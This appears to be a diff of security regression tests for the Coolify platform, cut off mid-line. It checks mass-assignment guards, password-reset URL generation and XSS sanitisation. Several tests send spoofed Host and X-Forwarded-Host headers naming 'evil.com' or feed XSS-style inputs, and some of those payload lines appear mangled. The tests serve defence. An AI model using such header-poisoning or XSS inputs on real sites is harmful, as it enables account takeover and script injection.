$application = new Application; + $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id']; + + foreach ($dangerousFields as $field) { + expect($application->isFillable($field)) + ->toBeFalse("Application model should not allow mass assignment of '{$field}'"); + } + }); + + test('Application model allows mass assignment of user-facing fields', function () { + $application = new Application; + $userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status']; + + foreach ($userFields as $field) { + expect($application->isFillable($field)) + ->toBeTrue("Application model should allow mass assignment of '{$field}'"); + } + }); + + test('Server model has $fillable and no conflicting $guarded', function () { + $server = new Server; + $fillable = $server->getFillable(); + $guarded = $server->getGuarded(); + + expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable'); + + // Guarded should be the default ['*'] when $fillable is set, not [] + expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable'); + }); + + test('Server model blocks mass assignment of dangerous fields', function () { + $server = new Server; + + // These fields should not be mass-assignable via the API + expect($server->isFillable('id'))->toBeFalse(); + expect($server->isFillable('uuid'))->toBeFalse(); + expect($server->isFillable('created_at'))->toBeFalse(); + }); + + test('User model blocks mass assignment of auth-sensitive fields', function () { + $user = new User; + + expect($user->isFillable('id'))->toBeFalse('User id should not be fillable'); + expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable'); + expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable'); + expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable'); + expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable'); + expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable'); + expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable'); + expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable'); + }); + + test('User model allows mass assignment of profile fields', function () { + $user = new User; + + expect($user->isFillable('name'))->toBeTrue(); + expect($user->isFillable('email'))->toBeTrue(); + expect($user->isFillable('password'))->toBeTrue(); + }); + + test('Team model blocks mass assignment of internal fields', function () { + $team = new Team; + + expect($team->isFillable('id'))->toBeFalse(); + expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)'); + expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)'); + }); + + test('Team model allows mass assignment of expected fields', function () { + $team = new Team; + + expect($team->isFillable('name'))->toBeTrue(); + expect($team->isFillable('description'))->toBeTrue(); + expect($team->isFillable('personal_team'))->toBeTrue(); + expect($team->isFillable('show_boarding'))->toBeTrue(); + expect($team->isFillable('custom_server_limit'))->toBeTrue(); + }); + + test('standalone database models block mass assignment of relationship IDs', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type']; + + foreach ($dangerousFields as $field) { + expect($model->isFillable($field)) + ->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'"); + } + } + }); + + test('standalone database models allow mass assignment of config fields', function () { + $model = new StandalonePostgresql; + expect($model->isFillable('name'))->toBeTrue(); + expect($model->isFillable('postgres_user'))->toBeTrue(); + expect($model->isFillable('postgres_password'))->toBeTrue(); + expect($model->isFillable('image'))->toBeTrue(); + expect($model->isFillable('limits_memory'))->toBeTrue(); + + $model = new StandaloneRedis; + expect($model->isFillable('redis_conf'))->toBeTrue(); + + $model = new StandaloneMysql; + expect($model->isFillable('mysql_root_password'))->toBeTrue(); + + $model = new StandaloneMongodb; + expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue(); + }); + + test('standalone database models allow mass assignment of public_port_timeout', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('public_port_timeout')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'"); + } + }); + + test('standalone database models allow mass assignment of SSL fields where applicable', function () { + $sslModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneRedis::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + ]; + + foreach ($sslModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('enable_ssl')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'"); + } + + // Clickhouse has no SSL columns + expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse(); + + $sslModeModels = [ + StandalonePostgresql::class, + StandaloneMysql::class, + StandaloneMongodb::class, + ]; + + foreach ($sslModeModels as $modelClass) { + $model = new $modelClass; + expect($model->isFillable('ssl_mode')) + ->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'"); + } + }); + + test('Application fill ignores non-fillable fields', function () { + $application = new Application; + $application->fill([ + 'name' => 'test-app', + 'environment_id' => 999, + 'destination_id' => 999, + 'team_id' => 999, + 'private_key_id' => 999, + ]); + + expect($application->name)->toBe('test-app'); + expect($application->environment_id)->toBeNull(); + expect($application->destination_id)->toBeNull(); + expect($application->private_key_id)->toBeNull(); + }); + + test('Service model blocks mass assignment of relationship IDs', function () { + $service = new Service; + + expect($service->isFillable('id'))->toBeFalse(); + expect($service->isFillable('uuid'))->toBeFalse(); + expect($service->isFillable('environment_id'))->toBeFalse(); + expect($service->isFillable('destination_id'))->toBeFalse(); + expect($service->isFillable('server_id'))->toBeFalse(); + }); +}); diff --git a/tests/Feature/PasswordVisibilityComponentTest.php b/tests/Feature/PasswordVisibilityComponentTest.php new file mode 100644 index 000000000..efc0e27cf --- /dev/null +++ b/tests/Feature/PasswordVisibilityComponentTest.php @@ -0,0 +1,41 @@ +put('default', new MessageBag); + view()->share('errors', $errors); +}); + +it('renders password input with Alpine-managed visibility state', function () { + $html = Blade::render(''); + + expect($html) + ->toContain('@success.window="type = \'password\'"') + ->toContain("x-data=\"{ type: 'password' }\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->toContain('x-bind:type="type"') + ->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"") + ->not->toContain('changePasswordFieldType'); +}); + +it('renders password textarea with Alpine-managed visibility state', function () { + $html = Blade::render(''); + + expect($html) + ->toContain('@success.window="type = \'password\'"') + ->toContain("x-data=\"{ type: 'password' }\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->not->toContain('changePasswordFieldType'); +}); + +it('resets password visibility on success event for env-var-input', function () { + $html = Blade::render(''); + + expect($html) + ->toContain("@success.window=\"type = 'password'\"") + ->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"") + ->toContain('x-bind:type="type"'); +}); diff --git a/tests/Feature/ResetPasswordUrlTest.php b/tests/Feature/ResetPasswordUrlTest.php new file mode 100644 index 000000000..7e940fc71 --- /dev/null +++ b/tests/Feature/ResetPasswordUrlTest.php @@ -0,0 +1,187 @@ +invoke($notification, $notifiable); +} + +it('generates reset URL using configured FQDN, not request host', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('test-token-abc', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + expect($url) + ->toStartWith('https://coolify.example.com/') + ->toContain('test-token-abc') + ->toContain(urlencode($user->email)) + ->not->toContain('localhost'); +}); + +it('generates reset URL using public IP when no FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('test-token-abc', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('65.21.3.91') + ->toContain('test-token-abc') + ->not->toContain('evil.com'); +}); + +it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + // Simulate a request with a spoofed X-Forwarded-Host header + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('poisoned-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toStartWith('https://coolify.example.com/') + ->toContain('poisoned-token') + ->not->toContain('evil.com'); +}); + +it('is immune to X-Forwarded-Host header poisoning when using IP only', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => '65.21.3.91'] + ); + Once::flush(); + + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('poisoned-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('65.21.3.91') + ->toContain('poisoned-token') + ->not->toContain('evil.com'); +}); + +it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('ipv6-token', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('[2001:db8::1]') + ->toContain('ipv6-token') + ->toContain(urlencode($user->email)); +}); + +it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1'] + ); + Once::flush(); + + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('poisoned-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toContain('[2001:db8::1]') + ->toContain('poisoned-token') + ->not->toContain('evil.com'); +}); + +it('uses APP_URL fallback when no FQDN or public IPs are configured', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null] + ); + Once::flush(); + + config(['app.url' => 'http://my-coolify.local']); + + $user = User::factory()->create(); + + $this->withHeaders([ + 'X-Forwarded-Host' => 'evil.com', + ])->get('/'); + + $notification = new ResetPassword('fallback-token', isTransactionalEmail: false); + $url = callResetUrl($notification, $user); + + expect($url) + ->toStartWith('http://my-coolify.local/') + ->toContain('fallback-token') + ->not->toContain('evil.com'); +}); + +it('generates a valid route path in the reset URL', function () { + InstanceSettings::updateOrCreate( + ['id' => 0], + ['fqdn' => 'https://coolify.example.com'] + ); + Once::flush(); + + $user = User::factory()->create(); + $notification = new ResetPassword('my-token', isTransactionalEmail: false); + + $url = callResetUrl($notification, $user); + + // Should contain the password reset route path with token and email + expect($url) + ->toContain('/reset-password/') + ->toContain('my-token') + ->toContain(urlencode($user->email)); +}); diff --git a/tests/Feature/ServerValidationXssTest.php b/tests/Feature/ServerValidationXssTest.php new file mode 100644 index 000000000..ba8e6fcae --- /dev/null +++ b/tests/Feature/ServerValidationXssTest.php @@ -0,0 +1,75 @@ +create(); + $this->team = Team::factory()->create(); + $user->teams()->attach($this->team); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('strips dangerous HTML from validation_logs via mutator', function () { + $xssPayload = ''; + $this->server->update(['validation_logs' => $xssPayload]); + $this->server->refresh(); + + expect($this->server->validation_logs)->not->toContain('and($this->server->validation_logs)->not->toContain('onerror'); +}); + +it('strips script tags from validation_logs', function () { + $xssPayload = ''; + $this->server->update(['validation_logs' => $xssPayload]); + $this->server->refresh(); + + expect($this->server->validation_logs)->not->toContain('server->update(['validation_logs' => $allowedHtml]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('Connection refused'); +}); + +it('allows null validation_logs', function () { + $this->server->update(['validation_logs' => null]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toBeNull(); +}); + +it('sanitizes XSS embedded within valid error HTML', function () { + $maliciousError = 'Server is not reachable.
Error:
'; + $this->server->update(['validation_logs' => $maliciousError]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toContain('and($this->server->validation_logs)->toContain('Error:') + ->and($this->server->validation_logs)->not->toContain('onerror') + ->and($this->server->validation_logs)->not->toContain('server->update(['validation_logs' => $payload]); + $this->server->refresh(); + + expect($this->server->validation_logs)->toContain('and($this->server->validation_logs)->not->toContain('onmouseover'); +}); diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php index 97bb0fd2a..ae3cba4d3 100644 --- a/tests/Feature/ServiceDatabaseTeamTest.php +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -7,25 +7,26 @@ use App\Models\ServiceDatabase; use App\Models\Team; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Str; uses(RefreshDatabase::class); it('returns the correct team through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $project = Project::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::create([ - 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + $environment = Environment::forceCreate([ + 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $service = Service::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, 'destination_id' => 1, @@ -33,8 +34,8 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceDatabase = ServiceDatabase::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $serviceDatabase = ServiceDatabase::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase-db', 'service_id' => $service->id, ]); @@ -46,19 +47,19 @@ it('returns the correct team for ServiceApplication through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $project = Project::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::create([ - 'name' => 'test-env-'.Illuminate\Support\Str::random(8), + $environment = Environment::forceCreate([ + 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $service = Service::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, 'destination_id' => 1, @@ -66,8 +67,8 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceApplication = ServiceApplication::create([ - 'uuid' => (string) Illuminate\Support\Str::uuid(), + $serviceApplication = ServiceApplication::forceCreate([ + 'uuid' => (string) Str::uuid(), 'name' => 'supabase-studio', 'service_id' => $service->id, ]); diff --git a/tests/Feature/SslCertificateRegenerationTest.php b/tests/Feature/SslCertificateRegenerationTest.php new file mode 100644 index 000000000..06d312935 --- /dev/null +++ b/tests/Feature/SslCertificateRegenerationTest.php @@ -0,0 +1,82 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); +}); + +test('server with no CA certificate returns null from sslCertificates query', function () { + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->toBeNull(); +}); + +test('accessing property on null CA cert throws an error', function () { + // This test verifies the exact scenario that caused the 500 error: + // querying for a CA cert on a server that has none, then trying to access properties + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->toBeNull(); + + // Without the fix, the code would do: + // caCert: $caCert->ssl_certificate <-- 500 error + expect(fn () => $caCert->ssl_certificate) + ->toThrow(ErrorException::class); +}); + +test('CA certificate can be retrieved when it exists on the server', function () { + // Create a CA certificate directly (simulating what generateCaCertificate does) + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'test-ca-cert', + 'ssl_private_key' => 'test-ca-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->not->toBeNull() + ->and($caCert->is_ca_certificate)->toBeTruthy() + ->and($caCert->ssl_certificate)->toBe('test-ca-cert') + ->and($caCert->ssl_private_key)->toBe('test-ca-key'); +}); + +test('non-CA certificate is not returned when querying for CA certificate', function () { + // Create only a regular (non-CA) certificate + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => false, + 'ssl_certificate' => 'test-cert', + 'ssl_private_key' => 'test-key', + 'common_name' => 'test-db-uuid', + 'valid_until' => now()->addYear(), + ]); + + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + // The CA cert query should return null since only a regular cert exists + expect($caCert)->toBeNull(); +}); diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php index 75357e41e..bd9d727c4 100644 --- a/tests/Feature/StorageApiTest.php +++ b/tests/Feature/StorageApiTest.php @@ -49,7 +49,7 @@ function createTestApplication($context): Application function createTestDatabase($context): StandalonePostgresql { - return StandalonePostgresql::create([ + return StandalonePostgresql::forceCreate([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php index 3e13170f0..3eda322e8 100644 --- a/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php +++ b/tests/Feature/Subscription/UpdateSubscriptionQuantityTest.php @@ -7,6 +7,7 @@ use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Queue; +use Stripe\Exception\InvalidRequestException; use Stripe\Service\InvoiceService; use Stripe\Service\SubscriptionService; use Stripe\Service\TaxRateService; @@ -46,7 +47,7 @@ 'data' => [(object) [ 'id' => 'si_item_123', 'quantity' => 2, - 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd'], + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'month']], ]], ], ]; @@ -187,7 +188,7 @@ test('handles stripe API error gracefully', function () { $this->mockSubscriptions ->shouldReceive('retrieve') - ->andThrow(new \Stripe\Exception\InvalidRequestException('Subscription not found')); + ->andThrow(new InvalidRequestException('Subscription not found')); $action = new UpdateSubscriptionQuantity($this->mockStripe); $result = $action->execute($this->team, 5); @@ -199,7 +200,7 @@ test('handles generic exception gracefully', function () { $this->mockSubscriptions ->shouldReceive('retrieve') - ->andThrow(new \RuntimeException('Network error')); + ->andThrow(new RuntimeException('Network error')); $action = new UpdateSubscriptionQuantity($this->mockStripe); $result = $action->execute($this->team, 5); @@ -270,6 +271,46 @@ expect($result['preview']['tax_description'])->toContain('27%'); expect($result['preview']['quantity'])->toBe(3); expect($result['preview']['currency'])->toBe('USD'); + expect($result['preview']['billing_interval'])->toBe('month'); + }); + + test('returns yearly billing interval for annual subscriptions', function () { + $yearlySubscriptionResponse = (object) [ + 'items' => (object) [ + 'data' => [(object) [ + 'id' => 'si_item_123', + 'quantity' => 2, + 'price' => (object) ['unit_amount' => 500, 'currency' => 'usd', 'recurring' => (object) ['interval' => 'year']], + ]], + ], + ]; + + $this->mockSubscriptions + ->shouldReceive('retrieve') + ->with('sub_test_qty') + ->andReturn($yearlySubscriptionResponse); + + $this->mockInvoices + ->shouldReceive('upcoming') + ->andReturn((object) [ + 'amount_due' => 1000, + 'total' => 1000, + 'subtotal' => 1000, + 'tax' => 0, + 'currency' => 'usd', + 'lines' => (object) [ + 'data' => [ + (object) ['amount' => 1000, 'proration' => false], + ], + ], + 'total_tax_amounts' => [], + ]); + + $action = new UpdateSubscriptionQuantity($this->mockStripe); + $result = $action->fetchPricePreview($this->team, 2); + + expect($result['success'])->toBeTrue(); + expect($result['preview']['billing_interval'])->toBe('year'); }); test('returns preview without tax when no tax applies', function () { @@ -336,7 +377,7 @@ test('handles Stripe API error gracefully', function () { $this->mockSubscriptions ->shouldReceive('retrieve') - ->andThrow(new \RuntimeException('API error')); + ->andThrow(new RuntimeException('API error')); $action = new UpdateSubscriptionQuantity($this->mockStripe); $result = $action->fetchPricePreview($this->team, 5); diff --git a/tests/Feature/TrustHostsMiddlewareTest.php b/tests/Feature/TrustHostsMiddlewareTest.php deleted file mode 100644 index 5c60b30d6..000000000 --- a/tests/Feature/TrustHostsMiddlewareTest.php +++ /dev/null @@ -1,360 +0,0 @@ - 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('coolify.example.com'); -}); - -it('rejects password reset request with malicious host header', function () { - // Set up instance settings with legitimate FQDN - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // The malicious host should NOT be in the trusted hosts - expect($hosts)->not->toContain('coolify.example.com.evil.com'); - expect($hosts)->toContain('coolify.example.com'); -}); - -it('handles missing FQDN gracefully', function () { - // Create instance settings without FQDN - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => null] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // Should still return APP_URL pattern without throwing - expect($hosts)->not->toBeEmpty(); -}); - -it('filters out null and empty values from trusted hosts', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => ''] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // Should not contain empty strings or null - foreach ($hosts as $host) { - if ($host !== null) { - expect($host)->not->toBeEmpty(); - } - } -}); - -it('extracts host from FQDN with protocol and port', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com:8443'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('coolify.example.com'); -}); - -it('handles exception during InstanceSettings fetch', function () { - // Drop the instance_settings table to simulate installation - \Schema::dropIfExists('instance_settings'); - - $middleware = new TrustHosts($this->app); - - // Should not throw an exception - $hosts = $middleware->hosts(); - - expect($hosts)->not->toBeEmpty(); -}); - -it('trusts IP addresses with port', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://65.21.3.91:8000'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('65.21.3.91'); -}); - -it('trusts IP addresses without port', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://192.168.1.100'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('192.168.1.100'); -}); - -it('rejects malicious host when using IP address', function () { - // Simulate an instance using IP address - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://65.21.3.91:8000'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // The malicious host attempting to mimic the IP should NOT be trusted - expect($hosts)->not->toContain('65.21.3.91.evil.com'); - expect($hosts)->not->toContain('evil.com'); - expect($hosts)->toContain('65.21.3.91'); -}); - -it('trusts IPv6 addresses', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'http://[2001:db8::1]:8000'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - // IPv6 addresses are enclosed in brackets, getHost() should handle this - expect($hosts)->toContain('[2001:db8::1]'); -}); - -it('invalidates cache when FQDN is updated', function () { - // Set initial FQDN - $settings = InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://old-domain.com'] - ); - - // First call should cache it - $middleware = new TrustHosts($this->app); - $hosts1 = $middleware->hosts(); - expect($hosts1)->toContain('old-domain.com'); - - // Verify cache exists - expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); - - // Update FQDN - should trigger cache invalidation - $settings->fqdn = 'https://new-domain.com'; - $settings->save(); - - // Cache should be cleared - expect(Cache::has('instance_settings_fqdn_host'))->toBeFalse(); - - // New call should return updated host - $middleware2 = new TrustHosts($this->app); - $hosts2 = $middleware2->hosts(); - expect($hosts2)->toContain('new-domain.com'); - expect($hosts2)->not->toContain('old-domain.com'); -}); - -it('caches trusted hosts to avoid database queries on every request', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Clear cache first - Cache::forget('instance_settings_fqdn_host'); - - // First call - should query database and cache result - $middleware1 = new TrustHosts($this->app); - $hosts1 = $middleware1->hosts(); - - // Verify result is cached - expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); - expect(Cache::get('instance_settings_fqdn_host'))->toBe('coolify.example.com'); - - // Subsequent calls should use cache (no DB query) - $middleware2 = new TrustHosts($this->app); - $hosts2 = $middleware2->hosts(); - - expect($hosts1)->toBe($hosts2); - expect($hosts2)->toContain('coolify.example.com'); -}); - -it('caches negative results when no FQDN is configured', function () { - // Create instance settings without FQDN - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => null] - ); - - // Clear cache first - Cache::forget('instance_settings_fqdn_host'); - - // First call - should query database and cache empty string sentinel - $middleware1 = new TrustHosts($this->app); - $hosts1 = $middleware1->hosts(); - - // Verify empty string sentinel is cached (not null, which wouldn't be cached) - expect(Cache::has('instance_settings_fqdn_host'))->toBeTrue(); - expect(Cache::get('instance_settings_fqdn_host'))->toBe(''); - - // Subsequent calls should use cached sentinel value - $middleware2 = new TrustHosts($this->app); - $hosts2 = $middleware2->hosts(); - - expect($hosts1)->toBe($hosts2); - // Should only contain APP_URL pattern, not any FQDN - expect($hosts2)->not->toBeEmpty(); -}); - -it('skips host validation for terminal auth routes', function () { - // These routes should be accessible with any Host header (for internal container communication) - $response = $this->postJson('/terminal/auth', [], [ - 'Host' => 'coolify:8080', // Internal Docker host - ]); - - // Should not get 400 Bad Host (might get 401 Unauthorized instead) - expect($response->status())->not->toBe(400); -}); - -it('skips host validation for terminal auth ips route', function () { - // These routes should be accessible with any Host header (for internal container communication) - $response = $this->postJson('/terminal/auth/ips', [], [ - 'Host' => 'soketi:6002', // Another internal Docker host - ]); - - // Should not get 400 Bad Host (might get 401 Unauthorized instead) - expect($response->status())->not->toBe(400); -}); - -it('still enforces host validation for non-terminal routes', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - // Regular routes should still validate Host header - $response = $this->get('/', [ - 'Host' => 'evil.com', - ]); - - // Should get 400 Bad Host for untrusted host - expect($response->status())->toBe(400); -}); - -it('skips host validation for API routes', function () { - // All API routes use token-based auth (Sanctum), not host validation - // They should be accessible from any host (mobile apps, CLI tools, scripts) - - // Test health check endpoint - $response = $this->get('/api/health', [ - 'Host' => 'internal-lb.local', - ]); - expect($response->status())->not->toBe(400); - - // Test v1 health check - $response = $this->get('/api/v1/health', [ - 'Host' => '10.0.0.5', - ]); - expect($response->status())->not->toBe(400); - - // Test feedback endpoint - $response = $this->post('/api/feedback', [], [ - 'Host' => 'mobile-app.local', - ]); - expect($response->status())->not->toBe(400); -}); - -it('trusts localhost when FQDN is configured', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('localhost'); -}); - -it('trusts 127.0.0.1 when FQDN is configured', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('127.0.0.1'); -}); - -it('trusts IPv6 loopback when FQDN is configured', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $middleware = new TrustHosts($this->app); - $hosts = $middleware->hosts(); - - expect($hosts)->toContain('[::1]'); -}); - -it('allows local access via localhost when FQDN is configured and request uses localhost host header', function () { - InstanceSettings::updateOrCreate( - ['id' => 0], - ['fqdn' => 'https://coolify.example.com'] - ); - - $response = $this->get('/', [ - 'Host' => 'localhost', - ]); - - // Should NOT be rejected as untrusted host (would be 400) - expect($response->status())->not->toBe(400); -}); - -it('skips host validation for webhook endpoints', function () { - // All webhook routes are under /webhooks/* prefix (see RouteServiceProvider) - // and use cryptographic signature validation instead of host validation - - // Test GitHub webhook - $response = $this->post('/webhooks/source/github/events', [], [ - 'Host' => 'github-webhook-proxy.local', - ]); - expect($response->status())->not->toBe(400); - - // Test GitLab webhook - $response = 